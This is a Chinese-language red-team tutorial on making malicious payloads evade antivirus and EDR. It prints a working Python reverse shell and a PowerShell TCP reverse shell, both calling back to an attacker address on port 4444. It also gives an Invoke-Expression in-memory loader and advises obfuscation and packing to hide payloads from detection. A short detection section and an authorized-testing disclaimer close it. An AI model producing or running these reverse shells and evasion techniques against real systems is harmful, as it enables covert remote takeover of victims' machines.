0x01 架构漫游

在当今的网络攻防对抗中,恶意载荷的免杀技术成为了红队在攻破目标时的一个重要策略。为了在目标系统中潜伏并执行攻击任务,攻击载荷必须成功绕过各种安全检测机制,如防病毒软件(AV)和终端检测响应(EDR)。为了实现这一目标,理解软件和系统架构的工作原理是至关重要的。本文将深入探讨如何在架构层面上实施恶意载荷免杀,并提供实用的示例代码。
现今的安全软件多层次、多方位地分析和检测载荷,包括但不限于特征码检测、行为分析、以及内存操作。因此,攻击者需要从多方面考虑免杀策略,包括混淆代码、规避特征码检测,以及利用系统的合法功能来隐藏载荷的恶意行为。
工具链的奇妙运用

想要成功实施恶意载荷的免杀,选择合适的工具链是关键的一环。在这一节中,我们将分析和使用一些流行的工具,结合Python和PowerShell语言,来展示如何创建具有免杀能力的恶意载荷。
准备工作
在开始动手之前,你需要准备以下工具和环境:
- Python 3.x:用于开发和测试恶意载荷。
- PowerShell:用于在Windows环境中执行载荷。
- 一个虚拟化环境(如VMware或VirtualBox)来测试载荷。
工具使用示例
我们将结合Python与PowerShell来实现一个简单的反向Shell,并进行免杀处理。
<pre><code class="language-python"># 我们先用Python创建一个简单的反向Shell import socket, subprocess, os
填写攻击者的IP和端口
attacker_ip = '192.168.1.100' attacker_port = 4444
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((attacker_ip, attacker_port))
os.dup2(sock.fileno(), 0) # 标准输入 os.dup2(sock.fileno(), 1) # 标准输出 os.dup2(sock.fileno(), 2) # 标准错误
执行Shell
subprocess.call(['/bin/sh', '-i'])</code></pre>
这种反向Shell的代码在多数情况下会被检测到。接下来,我们将使用PowerShell来改造它。
<pre><code class="language-powershell"># PowerShell版本的反向Shell $client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() } $client.Close()</code></pre>
为了提高免杀效果,我们可以对PowerShell脚本进行编码混淆处理,或者使用加壳工具对其进行加密。
Payload构造的艺术
想要绕过EDR和AV的检测,我们需要灵活运用多种技术手段来隐藏载荷的真实意图。以下是一些常用的技巧:
代码混淆
通过改变代码的外观而不改变其功能来混淆代码。例如,我们可以使用工具来自动化这一过程。
内存加载
将恶意代码直接在内存中运行可以避免被文件系统监控检测。可以使用PowerShell的内存加载技术来实现这一点。
<pre><code class="language-powershell"># 使用内存加载执行上面的PowerShell脚本 $script = '...' # 你的混淆后的PowerShell脚本 Invoke-Expression $script</code></pre>
加壳与加密
利用加壳工具对脚本进行加密处理,以规避特征码检测。
实战中的流量捕获
在实战演练中,观察网络流量是验证载荷免杀效果的重要环节。我们可以使用Wireshark或其他流量分析工具来监控目标机器和攻击者之间的数据传输。
流量分析
在载荷成功绕过检测并执行时,攻击者的控制端可能会与目标机通信。通过流量分析,我们可以确认载荷是否成功执行以及捕获到的任何异常流量。
检测与反检测
为了对抗恶意载荷的免杀,安全分析人员应了解以下检测技巧:

行为分析

通过分析程序在系统中的行为,检测异常网络活动或敏感操作。
内存监控
使用内存监控工具来检测和分析在内存中加载的恶意代码片段。
红队经验袋
在我多年的红队实战经验中,以下几点是实施恶意载荷免杀的成功因素:
- 多层策略:永远不要依赖单一的免杀技术。结合多种技术以增加成功率。
- 持续更新:安全软件不断更新和提升检测能力,攻击者也需不断更新自己的工具和技术。
- 环境测试:在不同环境中测试载荷的免杀效果,以确保在目标系统中的成功率。
结尾思考
恶意载荷的免杀是一个动态对抗过程。攻击者和防御者之间的持续博弈促使双方不断创新和提升各自的技术水平。通过本文的探讨,希望能够为安全研究人员和红队成员提供一些有价值的技术和思路,但请始终记住,所有这些技术仅限于授权的安全测试和研究目的。
请谨慎使用这些技术,确保合法合规。